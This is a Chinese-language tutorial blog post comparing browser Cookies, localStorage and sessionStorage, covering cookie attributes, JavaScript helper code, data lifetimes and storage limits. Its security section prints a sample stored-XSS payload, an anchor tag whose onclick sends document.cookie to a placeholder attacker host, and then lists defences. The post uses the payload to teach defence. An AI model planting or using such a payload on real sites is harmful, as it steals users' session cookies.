细说CookieLocalStorageSessionStorage

面试题目中经常被问到 Cookie 和 LocalStorage 的区别，可见其在项目开发中的重要性，这篇文章旨在详细阐述这部分内容。

概念

1.Cookie
Cookie 分为内存 cookie 和硬盘 cookie。内存 cookie 由浏览器维护，浏览器关闭后消失；硬盘 cookie 存在硬盘里，有过期时间，除非手动清理或到过期时间，否则不会消失。
Cookie 是一个浏览器状态管理文件，由于 http 协议是不保存状态的，需要在 http 请求中携带 cookie 发送到服务器，服务器根据 cookie 判断用户。
Cookie 原理

Cookie 只能绑定单一域名，不可以跨域使用。
Cookie 属性：
name：Cookie 名称，设置相同名称的值会被覆盖掉
value：Cookie 值，考虑服务器兼容性，必须 URL 编码
domain：Cookie 绑定域名，没设置的话自动绑定执行语句当前域，统一域名下的二级域名不可交换使用 Cookie
path：匹配路由
Expires/Max-Age：有效期；expires 是具体日期，Max-age 是以秒为单位，设置为 0 时，关闭浏览器 cookie 清除
secure：设置该属性后，仅通过安全通道（https）传输时，http 请求才会包含 cookie，但 secure 仅保护 cookie 的机密性，不能保护完整性，也不能对客户端 Cookie 进行加密。
httpOnly：设为 true 时，不能脚本获取 Cookie，能有效避免跨域本 (XSS) 攻击
Cookie 操作：
获取 Cookie：document.cookie
修改 Cookie：document.cookie =“cookie_name=cookie_value”
Cookie 安全：
XSS 攻击：XSS(Cross Site Scripting)是跨站点脚本攻击的缩写. 其就是利用站点开放的文本编辑并发布的功能, 从而造成攻击. 其实说的简单一点, 就是输入 javascript 脚本, 窃取并投递 cookie 信息到自己的站点.
比如攻击者以一个普通用户登录进来，然后在输入框中提交以下数据：

<a href=# onclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape\(document.cookie\)\;\”>text </a>

攻击者提交 a 标签后，该数据保存在服务器端，当管理员登陆后点击到这个 a 标签后会获取当前 cookie 到上面 a 标签设定的网址，叫做 XSS 攻击，也叫 Cookie 劫持。
如何防御：1 添加 HttpOnly 属性；2 在 cookie 中添加校验信息，比如 IP，UA 等判断是否真正用户；3cookie 中的 session id 定时更换
cookie 接口封装：

var cookieUtil = {
    // 设置 cookie
    setItem: function(name, value, days) {var date=new Date();
        date.setDate(date.getDate()+days);
        document.cookie=name+'='+value+';expires='+date;
    },

    // 获取 cookie
    getItem: function(name) {var arr=document.cookie.replace(/\s/g, "").split(';');
         for(var i=0;i<arr.length;i++) {var tempArr=arr[i].split('=');
             if(tempArr[0]==name) {return decodeURIComponent(tempArr[1]);
             }
         }
         return '';
    },

    // 删除 cookie
    removeItem: function(name) {this.setItem(name,'1', -1);
    },

    // 检查是否含有某 cookie
    hasItem: function(name) {return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(name).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
    },

    // 获取全部的 cookie 列表
    getAllItems: function() {var cookieArr = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
        for (var nIdx = 0; nIdx < cookieArr.length; nIdx++) {cookieArr[nIdx] = decodeURIComponent(cookieArr[nIdx]); }
        return cookieArr;
    }
};

2.localStorage，sessionStorage
HTML5 新增的客户端存储 API，都遵循浏览器的同源策略。
LocalStorage: 没有时间限制的数据存储
sessionStorage: 针对一个 session 的数据存储
操作：
setItem(key, value) 以键值对的形式存储，

localStorage.setItem(‘key’, value)

getItem(key) 通过 key 获取 value 值

var value = sessionStorage.getItem(“key”)

removeItem(key)通过 key 删除对应 value

localStorage.removeItem(“key”)

clear() 清空存储内容

localStorage.clear()

key/length 等用法：

var storage = window.localStorage;
storage.key1 =‘Hello’;
storage[key2] =‘world’;
console.log(storage.key1+’’+storage.key2) // Hello world

var storage = window.localStorage;
console.log(storage.length) // 返回已存储简直对的个数

三者的异同

数据生命周期
Cookie: 一般由服务器生成，可设置失效时间。如果在浏览器端生 cookie，默认关闭浏览器后失效
localStorage: 除非被清除，否则永久保存
sessionStorage: 仅在当前会话下有效，关闭页面或浏览器被清除
存放数据大小
Cookie:4K 左右
localStorage/sessionStorage:5MB 左右
与服务器端通信
Cookie: 每次都会携带在 HTTP 头中，如果 cookie 保存过多，会带来性能问题
localStorage/sessionStorage: 仅在客户端内存中保存，不参与和服务器端通信
易用性
Cookie: 需要自己封装，源生 Cookie 接口不友好
localStorage/sessionStorage: 源生接口可接受，使用方便

参考资料
维基百科 -Cookie
把 cookie 聊清楚
Secure Cookie
Http cookies
Window.localStorage
详说 Cookie、localStorage、sessionStorage